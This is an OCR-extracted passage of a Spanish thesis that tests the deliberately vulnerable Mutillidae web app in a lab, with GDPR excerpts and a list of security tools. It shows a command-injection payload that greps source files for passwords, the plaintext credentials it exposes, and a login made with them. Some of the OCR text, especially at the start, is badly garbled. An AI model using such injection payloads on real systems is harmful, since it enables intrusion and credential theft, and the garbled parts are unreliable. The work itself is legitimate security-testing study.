database.php: (SImba’, ‘passWord: ' am a Cat, FALSE), setup-database.php: (drevel, password’, Preparation H, ALSE'), sel-up-database.pnp: (scotty’, assword, ‘Scotty Do’ FALSE, setup-dataase,php: (cal T Go Widcats, FALSE'. Set-up atabase php: (Jonr password.

'Do the Duggie!”, FALSE'), set-up- hp: CREATE PROCEDURE (p_username text, p_password text) hp: AND J;sswm Show-log.php: * validate username but we have.
to allow special characters in passwords show-log.php: * least we force weak passwords. We cannot validate the signature hardly site-footer-xss-discussion. php valldat chatmame bt s nave 5 alon Special hacadm pa: s site-footer-xss-discussion.php: * least we force weak
passwords. We cannot valldate the signature hardly userinfo.php: Authentication Error: Bad user name or password user-Info.php: user-Info.php: user-Info.php: SIPassword = §_REQUEST["password": user-Info.php: ™ AND password=" . user-Info php: SlPassword = $_POST["password"]; user-

info.php: ™ AND password=". user-Info.php: * valdate usemame but we have to allow special characters in passwords user-Info.php: * least we force weak passwords. We cannot validate the signature hardly user-Info.php: $IPassword = $row->password; user-Info.php: SIPassword =
$Encoder->encodeForHTML($row->password); user-poll.php: * validate username but we have to allow special characters In passwords user-poll.php: * least we force weak passwords. We cannot validate the signature hardly view-someones-blog.php: * validate userame but we have to allow
special characters in passwords view-someones-blog.php: * least we force weak passwords. We cannot validate the signature hardly

@3 Mutillidae: Born to be Hacked

Version: 2.1.19 __ Security Level: 0 (Hos

Hints: Disabled (0 - I try harder) __ Not Logged In

Home Loginegister Toggle Hints Togle Security ResetDB  ViewlLog  View Captured Data

[ DNS Lookup

‘ Who would you like to do a DNS lookup on? ‘

Enter IP or hostname
Hostname/1P
Lookp NS
site
hacked...err..quatty-| [ Results for 192.168.56.101 ; grep -R "password” *
tested with Samural
WIF, Backtrack, Tined ks o servers could be resched
Firefox, Burp-Sulte,
Netcat, and these bt e b o s speciat chractrs i pssorts
Mozllia Add-ons
@webpwnized el
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Figura 6.47: Inyeccién de un comando que muestra todas las lineas de todos los ficheros del direc-
torio actual en las que aparece la palabra password

Se observa que en la query se incluyen las credenciales de los usuarios de la aplicacién. Se comprueba
que es asi haciendo un login en el servidor.

POST http://192.168.56.161/mutil1idae/index . php?page=login.php HTTP/1.1 HTTP/1.1 362 Found

Host: 192.168.56.101 Date: Sun, 10 Jul 2022 18:36:46 GMT
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rvi91.0) Gecko/20100181 Firefox/91.0 Server: Apache/2.2.8 (Ubuntu) DAV/2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,1mage/webp,*/*;q=0.8 X-Powered-By: PHP/5.2.4-2ubuntu5.10
Accept-Language: en-US,en;g=0.5 Expires: Thu, 19 Nov 1981 08:52:60 GMT
Content-Type: application/x-wiw-form-urlencoded Logged-In-User: adrian

Content -Length: 67 Cache-Control: public

Origin: https://192.168.56.161 Pragna: public

Connection: keep-alive Set-Cookie: username=adrian

Referer: https://192.168.56.161/mutil11idae/index.php?page=Login.php Set-Cookie: uid=2

Cookie: PHPSESSID=99b25dfb174cbelde7azc2addccadcod Location: index.php
Upgrade - Insecure -Requests: 1 Last-Modified: Sun, 10 Jul 2622 18:36:46 GNT
Sec-Fetch-Dest: document Keep-Alive: timeout=15, max=100
Sec-Fetch-Mode: navigate Connection: Keep-Alive

Sec-Fetch-Site: same-origin Content-Type: text/html

Sec-Fetch-User: 71

use rname=adrian&p d&login-php-submit -button=Legin </-- I think the database password is set to blank or perhaps samurai

(a) Peticién de login (b) Respuesta ante el login

Figura 6.48: Acceso mediante login para uno de los usuarios obtenidos en la prueba de inyeccién
de comandos

Con todo lo anterior, se concluye que la aplicacién es vulnerable a la inyeccién de comandos.

6.13. [WSTG-CRYP-03] Prueba de envio de informacién
sensible mediante canales no cifrados.

La informacién sensible debe transmitirse por canales que garanticen un nivel adecuado de seguri-
dad y privacidad. Las pruebas con las que esto se puede evaluar se describen a continuacién.

6.13.1. Envio de informacién sensible en la autenticacién

Como se ha podido comprobar en otras pruebas, principalmente en la correspondiente a Capturar
el transporte de credenciales en canales no cifrados, por medio de un proxy es posible obtener las
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credenciales utilizadas para el inicio de sesién (ver figura 6.8).

6.13.2. Envio de la cookie de sesion

Las cookies de sesion estan configuradas en un nivel de seguridad excesivamente bajo ya que no
tienen el atributo Secure, lo que permite que se puedan transmitir mediante el protocolo HTTP.
Esto implica que se puede acceder a los datos que almacenan en texto plano (ver figura 6.26).

6.13.3. Bisqueda de contrasena en cédigo fuente o registros

Es otra de las pruebas que se ha comprobado previamente, en la correspondiente a la inyeccion de
comandos. Seglin se puede apreciar en la figura 6.47, en el cédigo fuente aparecen en texto plano
contrasenas de inicio de sesién en la aplicacion.

Con todo lo anterior, se concluye que la aplicacién es muy vulnerable en cuanto al envio de infor-
macién sensible en canales no cifrados al poder acceder a ésta de una forma sencilla asi como a los
datos de las cookies.

6.14. [WSTG-CRYP-04]| Prueba de cifrado débil.

La informacién que se almacene en la aplicacién debe estar debidamente cifrada mediante algorit-
mos y funciones hash seguras. A continuacién se indica cémo se ha evaluado este aspecto.

6.14.1. Lista de verificacion basica y revision de cédigo fuente

Se han realizado busquedas dentro del directorio de Mutillidae sobre todos los ficheros presentes
para determinar la existencia de los tipos de cifrados que se utilicen por medio del buscador de
patrén de cadenas grep:

grep -R ‘‘algoritmo’’ *

= No se utiliza AES y por ende tampoco el vector de inicializacién para el cifrado de datos.

= No se usa cifrado asimétrico con curva eliptica (ECC) ni rsa.

= Se hace uso de uso de la funcién hash mdJ, la cual no deberia utilizarse.
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function getHash($direct)

{
if ( empty($direct) )
{

return null;

}

thash = hexdec(substr(mdS(serialize($direct)),

return $hash;

Figura 6.49: Uso de la funcién de hash md5 en la aplicacién

= No se usa el algoritmo SHA256.
= No se implementa cifrado simétrico con el modo ECB.

= No se utiliza PBKDF2 para cifrar la contrasena.

-7));

La informacién que se almacena en la aplicacién se encuentra sin cifrar y en los pocos puntos que
lo hace utiliza un algoritmo débil como lo es md5. Por tanto, es muy vulnerable al cifrado débil o

inexistente lo que permite acceder de forma muy sencilla (ver figura 6.15).
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Capitulo 7

Conclusiones

El proyecto ha sido desarrollado casi en su totalidad y ha cumplido con el objetivo principal. Si
bien no se ha completado el desarrollo de todas las pruebas seleccionadas, hacerlo extenderia con
creces el tiempo de trabajo estimado para un TFG.

En primer lugar, se ha llevado a cabo un estudio de la normativa actual en lo que respecta a la
proteccién de datos de caracter personal, teniendo principalmente dos con distinto alcance: RGPD
a nivel europeo y LOPDGDD2018 a nivel nacional. En la primera se establecen una serie de
principios que deben cumplirse para que una aplicacién sea més segura en cuanto a la proteccién
de la informacién. En paralelo se han estudiado algunas de las metodologias de pruebas sobre
aplicaciones web mas utilizadas y confiables de la actualidad lo que permite ampliar el conocimiento
sobre cémo poner a prueba la seguridad de un sistema. Al final de esto, se ha llevado a cabo un
andlisis sobre las vulnerabilidades mas comunes a dia de hoy, segtin aparecen en el OWASP Top 10,
indicando para cada una la forma en que se puede contrarrestar, aportando asi mayores medidas
de seguridad aplicables a un sistema web.

En segundo lugar, se ha llevado a cabo una seleccion o filtrado de las pruebas dependiendo de si
conllevan a la obtencién o acceso de datos personales. Esto permite disminuir en parte el niimero
de pruebas a realizar sobre una aplicacién si el principal o Unico objetivo es evaluar si cumple
con la normativa de protecciéon de datos o si simplemente se pretende comprobar la seguridad del
sistema en cuanto al manejo de cualquier tipo informacién. Con esto hecho, se pueden seleccionar
las pruebas que cumplan estos requisitos para lanzarlos sobre el sistema a evaluar, segin se ha
descrito en el diseno de las pruebas, indicando para cada una el objetivo y las acciones a realizar
sobre el sistema objetivo, anadiendo, para algunas, recomendaciones para evitar el problema de
seguridad.

Con este filtrado se ha comprobado que el porcentaje de vulnerabilidades que pueden exponer
datos personales es elevado, de la metodologia de OWASP un 59,78 % lo hacen de forma directa,
un 22,83 % permiten descubrir vulnerabilidades que facilitan el acceso a datos personales y un
11,96 % se clasifican dentro de estos dos tipos. Esto hace que casi todas las vulnerabilidades tengan
relacién con la exposicién de datos de cardcter personal.

En tercer lugar, se ha indicado cémo se debe llevar a cabo la implementacién de un entorno de
pruebas controlado que consta de una maquina atacante y una victima, en lo que se refiere a
requisitos que deben cumplir cada una de las partes asi como la configuraciéon de red que debe
haber entre medias. Este diseno se ha llevado a la practica y se ha comprobado a nivel de red,
transporte y aplicacién que la configuracién ha sido llevada a cabo de forma exitosa. Esto ha
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permitido verificar la correcta ejecucién de las pruebas antes de lanzarlas contra un sistema web
en produccién.

En cuarto y tdltimo lugar, se han lanzado algunas de las pruebas para verificar que es posible
explotar vulnerabilidades que permitan el acceso u obtencién de datos de cardcter personal. Se ha
documentado cada prueba lanzada al igual que los resultados, que en su mayoria han verificado la
presencia de vulnerabilidades de acceso a datos en la maquina victima. Esto implica que ésta es
vulnerable y que por tanto no cumple con los requisitos de seguridad exigidos por las normativas
de proteccién de datos.

Cabe desatacar que el proyecto estaba previsto para desarrollarse en su totalidad entre el 14 de
febrero y el 6 de junio, un total de 17 semanas. Sin embargo, en la realidad ha requerido de casi
5 semanas mads, lo que supone casi un 30 % adicional del tiempo original. Con esto, el principal
riesgo no contrarrestado ha sido la mala estimacién de tiempos. Otro riesgo que afecta al proyecto
es el hecho de que no se ha conseguido cumplir todo lo previsto, si no que hay cosas que se pueden
anadir para mejorar su alcance y completitud.

7.1. Trabajo futuro

Como trabajo futuro se plantea completar el trabajo iniciado incorporando la ejecucién del resto de
pruebas. De este modo seria posible garantizar que efectivamente todas las pruebas seleccionadas
permiten la exposicién de datos sensibles.

Entre las principales mejoras se encuentra la creacién de un paquete de medidas a partir de los
principios de seguridad establecidos por el RGPD, asi como las recomendaciones indicadas en el
listado de vulnerabilidades y en el diseno de algunas pruebas. Asi mismo, se propone una evaluacién
del nivel de criticidad de las vulnerabilidades dependiendo de la facilidad con la que permiten
exponer datos de cardcter personal.

Otra de las mejoras posibles es establecer de forma explicita una relacién entre las pruebas y las
vulnerabilidades en aplicativos web, ya que, si bien se pueden deducir las vulnerabilidades que se
explotan con cada prueba a partir de las descripciones entre ambas, hasta ahora solo se relacionan
de forma directa acceso a datos y pruebas.

Otra posibilidad es incluir un protocolo de actuacion. Esto vendria a ser un esquema que relacione
todas las pruebas que explotan vulnerabilidades que permiten el acceso a datos, indicando el orden
de ejecucion de cada una respecto a otra.

Por ultimo cabe destacar el hecho de que todas las pruebas se han lanzado contra una méaquina
virtual, lo cual ayuda mucho para verificar la correcta ejecucién de cada de ellas, pero limita el
alcance del proyecto. En consecuencia, se propone que estas pruebas puedan lanzarse también
contra sistemas web reales en produccién.
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Capitulo 8

ANEXO I: RGPD

8.1. Articulo 4: Definiciones

1. Datos personales: toda informacién sobre una persona fisica identificada o identificable («el
interesado» ); se considerard persona fisica identificable toda persona cuya identidad pueda
determinarse, directa o indirectamente, en particular mediante un identificador, como por
ejemplo un nombre, un ndmero de identificacion, datos de localizacion, un identificador en
linea o uno o varios elementos propios de la identidad fisica, fisioldgica, genética, psiquica,
econdmica, cultural o social de dicha persona.[30]

8.2. Articulo 5: Principios relativos al tratamiento de datos
personales

1. Los datos personales serdn:

a tratados de forma licita, leal y transparente en relacidn con el interesado (licitud, equidad
y transparencia’);

b recopilados para fines especificos, explicitos y legitimos y no procesados de manera incom-
patible con esos fines; el tratamiento posterior con fines de archivo en interés publico, fines
de investigacion cientifica o histdrica o fines estadisticos, de conformidad con el articulo
89, apartado 1, no se considerard incompatible con los fines iniciales (‘limitacion de la
finalidad’);

¢ adecuados, pertinentes y limitados a lo necesario en relacion con los fines para los que se
procesan (‘minimizacidn de datos’);

d precisos y, cuando sea necesario, actualizados; se deben tomar todas las medidas razonables
para garantizar que los datos personales que sean inexactos, teniendo en cuenta los fines
para los que se procesan, se supriman o rectifiquen sin demora (.°actitud”);

e conservados en un formato que permita la identificacion de los interesados durante no
mas tiempo del necesario para los fines para los que se procesan los datos personales; los
datos personales pueden almacenarse durante periodos mds largos en la medida en que los
datos personales se procesardn unicamente con fines de archivo en interés publico, fines de
investigacion cientifica o historica o fines estadisticos de conformidad con el articulo 89,
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apartado 1, sujeto a la implementacion de las medidas técnicas y organizativas apropiadas.
medidas exigidas por el presente Reglamento para salvaguardar los derechos y libertades del
interesado (“limitacion del almacenamiento’);

f procesados de una manera que garantice la seguridad adecuada de los datos personales,

incluida la proteccion contra el procesamiento no autorizado o ilegal y contra la pérdi-
da, destruccion o dano accidental, utilizando medidas técnicas u organizativas apropiadas
(“integridad y confidencialidad’).

2. FEl responsable del tratamiento serd responsable y podrd demostrar el cumplimiento del apar-
tado 1 (‘responsabilidad’).[31]

8.3.

Articulo 6: Licitud del tratamiento

1. El procesamiento serd licito solo si y en la medida en que se cumpla al menos uno de los
stquientes:

a)

b)

)

d)

e)

f)

el interesado dio su consentimiento para el tratamiento de sus datos personales para uno
0 varios fines especificos;

el tratamiento es necesario para la ejecucion de un contrato en el que el interesado es
parte o para la aplicacion a peticion de este de medidas precontractuales;

el tratamiento es necesario para el cumplimiento de una obligacion legal aplicable al res-
ponsable del tratamiento;

el tratamiento es necesario para proteger intereses vitales del interesado o de otra persona
fisica;

el tratamiento es necesario para el cumplimiento de una mision realizada en interés publico
o en el ejercicio de poderes publicos conferidos al responsable del tratamiento;

el tratamiento es necesario para la satisfaccion de intereses legitimos persequidos por el
responsable del tratamiento o por un tercero, siempre que sobre dichos intereses no preva-
lezcan los intereses o los derechos y libertades fundamentales del interesado que requieran
la proteccion de datos personales, en particular cuando el interesado sea un nino.

Lo dispuesto en la letra f) del pdrrafo primero no serd de aplicacion al tratamiento realizado
por las autoridades publicas en el ejercicio de sus funciones.[32].

8.4.

Articulo 25: Proteccién de datos desde el diseno y por
defecto

1. Teniendo en cuenta el estado de la técnica, el costo de implementacion y la naturaleza, el
alcance, el contexto y los fines del procesamiento, asi como los riesgos de diversa probabilidad
y gravedad para los derechos y libertades de las personas fisicas que plantea el procesamiento,

el

controlador deberd, tanto en el momento de la determinacion de los medios para el proce-

samiento como en el momento del procesamiento en si mismo, implementar medidas técnicas
y organizativas apropiadas, como la seudonimizacion, que estdn disenadas para implementar
los principios de proteccion de datos, como la minimizacion de datos, de manera efectiva.
e integrar las garantias necesarias en el tratamiento para cumplir los requisitos del presente
Reglamento y proteger los derechos de los interesados.
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2. El responsable del tratamiento implementard las medidas técnicas y organizativas apropiadas
para garantizar que, por defecto, solo se traten los datos personales que sean necesarios para
cada finalidad especifica del tratamiento. Fsa obligacion se aplica a la cantidad de datos
personales recopilados, la extension de su procesamiento, el periodo de su almacenamiento y su
accesibilidad. En particular, tales medidas garantizardn que, por defecto, los datos personales
no sean accesibles sin la intervencion del individuo a un numero indefinido de personas fisicas.

3. Un mecanismo de certificacion aprobado de conformidad con el articulo 42 podrd utilizarse
como elemento para demostrar el cumplimiento de los requisitos establecidos en los pdrrafos
1 y 2 de este articulo.[29]
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Capitulo 9

ANEXO II: Herramientas para las
pruebas sobre paginas web

En esta capitulo se listan cada una de las herramientas relacionadas con las pruebas sobre paginas
web mencionadas a lo largo de este documento. Para cada una de ellas, se indica el nombre y un
enlace donde se puede obtener informacion sobre su uso y descarga.

1.
2.

© ® N o ok W

10.

11.
12.
13.
14.
15.
16.
17.

AJAX Spider: https://www.zaproxy.org/docs/desktop/addons/ajax-spider/

Attack Surface Detector: https://github.com/secdec/attack-surface-detector-cli/
releases

BeFF: https://www.beefproject.com/
Baidu: https://www.baidu. com/

Bing: https://www.bing.com/
binsearch.info: http://binsearch.info/
Burp Suite: https://portswigger.net/burp
Common Crawl: https://commoncrawl.org/

Complemento ASD para PortSwigger Burp: https://github.com/secdec/attack-surface-detector-burp/
wiki

Complemento ASD para OWASP ZAP: https://github.com/secdec/attack-surface-detector-zap/
wiki

Dig: https://linux.die.net/man/1/dig
DNSstuff: https://www.dnsstuff.com/
Fiddler: https://www.telerik.com/fiddler
DuckDuckGo: https://duckduckgo.com/
Google: https://google.com

Host: https://linux.die.net/man/1/host

mod_headers: https://httpd.apache.org/docs/current/mod/mod_headers.html
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19.
20.
21.
22.

23.
24.
25.
26.
27.
28.
29.
30.
31.

32.
33.
34.
35.
36.
37.
38.
39.

. Nmap: https://nmap.org/

Nessus: https://www.tenable.com/products/nessus
Netcat: https://linux.die.net/man/1/nc

Neftcraft: https://sitereport.netcraft.com/

Net Square: https://web.archive.org/web/20190515092354/http://www.net-square. com/
mspawn.html

Nikto: https://github.com/sullo/nikto

Nslookup: https://linux.die.net/man/1/nslookup

OpenAPI Support: https://www.zaproxy.org/docs/desktop/addons/openapi-support/
StartPage: https://www.startpage.com/

Netcraft Search DNS: https://searchdns.netcraft.com/7host

Shondan: https://www.shodan.io/

Spider: https://github.com/zaproxy/zaproxy

Waybackurls: https://github.com/tomnomnom/waybackurls

Webhosting Info: http://whois.webhosting.info/x.x.x.x, donde x.x.x.Xx es la direccién
IP a consultar.

Reverse IP Lookup: https://reverseip.domaintools.com/
Wappalyzer: https://www.wappalyzer.com/

WhatWeb: https://github. com/urbanadventurer/WhatWeb
Wget: https://linux.die.net/man/1/wget

XSS Proxy: http://xss-proxy.sourceforge.net/

ZAP: https://www.zaproxy.org/

Zed Attack Proxy (ZAP): https://github.com/zaproxy/zaproxy

Zenmap: https://nmap.org/zenmap/
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